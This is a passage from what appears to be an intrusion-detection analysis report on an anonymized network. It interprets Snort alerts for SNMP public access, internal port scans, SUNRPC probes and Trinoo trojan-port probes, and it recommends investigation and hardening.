SNMP Public Access – Simple Network Management Protocol that allows connections to SNMP with the default string of public. As you can see in the below scan, the SNMP connection is coming from inside MY.NET to MY.NET. There are three basic scenarios: Someone is hoping you've got SNMP configured in a way that will allow them to take control of your network. This would not be good. - Someone is setting up SNMP on their network, and has told their management host to "discover" what else is on the network. - Unfortunately, they've misconfigured it, and it thinks your subnet block is part of its network community. - Some HP network printer drivers will send traffic like this out to other sites on the Internet. Though malicious SNMP scanning does exist (it can identify "open" HP hubs and printers for one thing) there are many cases of software sending out SNMP probes in the natural course of events (programs which use SNMP as one tool to attempt to map out a network via SNMP, printer drivers attempting to browse and probe for HP printers to list for users wishing to select a printer, network management stations 'discovering' managed objects with SNMP agents and associated MIBs, etc). Browsing remote SNMP MIBs you can often determine the remote system type, OS level and other useful information when managing and doing an inventory of your network (of course in the wrong hands that info can be used against you). If the attacker can get the "write" community string he/she can take control of the box.

```
05/23-09:32:38.870319  [**] SNMP public access [**] MY.NET.97.129:1056 ->
MY.NET.101.192:161
05/23-09:39:11.853864  [**] SNMP public access [**] MY.NET.97.129:1088 ->
MY.NET.101.192:161
05/23-09:41:12.371982  [**] SNMP public access [**] MY.NET.97.129:1094 ->
MY.NET.101.192:161
```

Network Traffic originating from MY.NET – Upon reviewing the logs, there was a surprising amount of traffic being generated from within MY.NET being directed against MY.NET. Specifically, there appeared to be three main hosts that were generating this traffic that is considered too hostile. The three hosts are identified as MY.NET.253.12, MY.NET.1.3 and MY.NET.70.234.

MY.NET.253.12

Beginning with MY.NET.253.12 it was discovered that MY.NET.253.12 was performing a multitude of hostile scans against other nodes within MY.NET. The type of activity consisted of null scans, NMAP fingerprinting, NMAP tcp pings, spp_portscans, wingate attempts and SUNRPC accesses. This traffic was concentrated over a six-day period of time from May 27 to June 2 and occurred nearly 24 hours a day. MY.NET.253.12, also

gained access to hosts inside MY.NET or port 32771, which is known to have SUNRPC rpcbind listening on it. Rpcbind permits a remote attacker to insert and delete entries without super user status by spoofing a source address. Ironically, it inserts the entries as being owned by super user . There was approximately 92,322 packets of data generated from MY.NET.253.12. In order for a host from MY.NET to generate this type of data, one of two possibilities exist. Either an employee is responsible or the host has been compromised and is being controlled by an intruder. In either case, further investigation should be a top priority.

```
05/28-14:46:31.666763  [**] spp_portscan: portscan status from MY.NET.253.12:
36 connections across 1 hosts: TCP(36), UDP(0) [**]
05/28-14:31:05.245775  [**] SUNRPC highport access! [**] MY.NET.253.12:43750
-> MY.NET.16.0:32771
05/28-14:31:39.938150  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43750 ->
MY.NET.16.0:8080
05/28-14:32:32.913487  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 ->
MY.NET.16.0:42407
05/28-14:32:56.087697  [**] Probable NMAP fingerprint attempt [**]
MY.NET.253.12:43755 -> MY.NET.16.1:7
05/28-14:32:56.087358  [**] Null scan! [**] MY.NET.253.12:43754 ->
MY.NET.16.1:7
05/28-14:30:50.876461  [**] SUNRPC highport access! [**] MY.NET.253.12:43746
-> MY.NET.16.0:32771
05/28-14:30:51.185774  [**] SUNRPC highport access! [**] MY.NET.253.12:43747
-> MY.NET.16.0:32771
06/01-00:01:52.388125  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 ->
MY.NET.101.126:43059
```

MY.NET.1.3 – host has also scanned multiple addresses inside MY.NET. These scans were UDP scans and they are again hostile**.** In order for a host from MY.NET to generate this type of data, one of two possibilities exist. Either an employee is responsible or the host has been compromised and is being controlled by an intruder. In either case, further investigation should be a top priority. These scans took place on 5/24 – 6/17, 2000. In the logs, there were multiple addresses that scanned this computer system including DNS scans, and Port 109 POP2 scan, from Internet addresses of 208.18.8.2 (MBS Textbook Exchange on 5/22), 210.118.8.50 (JC HYUN System of Korea), and IP address 147.150.225.137 (British Telecommunications). As you can see in the below examples, MY.NET.1.3 scanned My.NET.101.89 on various dates looking for udp services listening on MY.NET. MY.NET.1.3 scanned MY.NET.101.89 on all ports.

```
May 25 02:23:51 MY.NET.1.3:53 -> MY.NET.101.89:59518 UDP
Jun  1 00:30:58 MY.NET.1.3:53 -> MY.NET.101.89:39643 UDP
Jun  7 00:15:51 MY.NET.1.3:53 -> MY.NET.101.89:47283 UDP
Jun 11 01:42:48 MY.NET.1.3:53 -> MY.NET.101.89:45035 UDP
Jun 11 01:42:48 MY.NET.1.3:53 -> MY.NET.101.89:45036 UDP
Jun 17 07:04:23 MY.NET.1.3:53 -> MY.NET.101.89:63172 UDP
```

MY.NET.70.234 – this host was observed in the logs scanning MY.NET on 5/28/200; this host scanned the MY.NET across multiple hosts. These scans are considered hostile and are not part of every day network traffic. These scans may have been launched by a

compromised system or by a curious employee. In either case, further investigation into this computer system would be warranted. Note: this host was scanned by many Internet addresses including wingate scans on 1080 and 8080, portmapper scans on 111, UDP scans. These Internet addresses belonged to Orcon Internet in Auckland and Earthlink of Pasedena California.

```
05/28-15:47:01.954022  [**] spp_portscan: portscan status from MY.NET.70.234:
31 connections across 31 hosts:
15:47:13.137555  [**] spp_portscan: portscan status from MY.NET.70.234: 31
connections across 31 hosts:
```

MY.NET.253.52 – This host was logged attempting high port access on MY.NET.101.89 on 5/25,2000. This action raises suspicion because Trojans are known to run on ports 34555 and port 35555. The Trojan name is Trinoo and is a denial of service program. To see an internal address scan an internal address for a Trojan port would warrant further investigation. This host may now be compromised or an action of a hostile employee. This was scanned by numerous Internet addresses on numerous dates, and high port access was attempted by Internet addresses on numerous dates. Some of the Internet addresses were on the Watchlist, which consists of IP addresses that have been involved with suspicious activity.

```
05/23-21:43:37.713982  [**] Watchlist 000222 NET-NCFC [**]
159.226.120.14:25 -> MY.NET.253.52:45800
05/25-21:32:58.669893  [**] Watchlist 000222 NET-NCFC [**]
159.226.21.171:25 -> MY.NET.253.52:62266
06/23-13:14:50.669891  [**] GIAC 000218 VA-CIRT port 34555 [**]
16.32.243.136:25 -> MY.NET.253.52:34555
```

Summary:

After one month of monitoring this network, it is apparent that further investigation of several hosts needs to be done to ensure they have not been compromised. It is quite apparent that MY.NET suffers from continually being probed and scanned, both randomly seeking available services as well as being directly targeted in search of Trojan Horses and other vulnerabilities. Also observed was the transfer of the Happy 99 virus via email. Several networking security measures need to be examined and hardened such as the Windows File & Print sharing and the SNMP public & private strings. Install the latest patches on the operating systems to prevent exploitation.
By taking additional security measures, MY.NET will be able to avoid the loss of data as well as being responsible for innocently attacking others machines. A benefit of eliminating this excessive amount of random network traffic is an increase in network performance and security.
